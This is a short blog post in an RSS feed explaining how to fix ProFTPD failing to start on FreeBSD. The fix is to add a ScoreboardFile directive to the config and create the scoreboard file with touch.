			<content:encoded><![CDATA[<p>I just installed <a href="http://proftpd.org">Proftpd</a> from <a href="http://freebsd.org">FreeBSD</a>&#8217;s ports (/usr/ports/ftp/proftpd/) today and noticed that when I tried to start it, it wouldn&#8217;t start by default.  I would get this:</p>
<p><code><br />
-su# /usr/local/etc/rc.d/proftpd.sh start<br />
Starting proftpd.<br />
-su# /usr/local/etc/rc.d/proftpd.sh status<br />
proftpd is not running.<br />
</code></p>
<p>I inspected /var/log/messages, and found this message<br />
Feb 10 15:59:42 {hostname} proftpd [4375]: {hostname} &#8211; error opening scoreboard: No such file or directory.</p>
<p>What you have to do is edit /usr/local/etc/proftpd.conf and add the line<br />
<code><br />
ScoreboardFile          /var/run/proftpd.scoreboard<br />
</code><br />
then execute the command<br />
<code><br />
touch /var/run/proftpd.scoreboard<br />
</code><br />
to create the file.  Then when you run the startup script, you will get this message<br />
<code><br />
-su# /usr/local/etc/rc.d/proftpd.sh start<br />
Starting proftpd.<br />
-su# /usr/local/etc/rc.d/proftpd.sh status<br />
proftpd is running as pid 4576.<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://raybdbomb.com/p/freebsd-and-proftpd.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

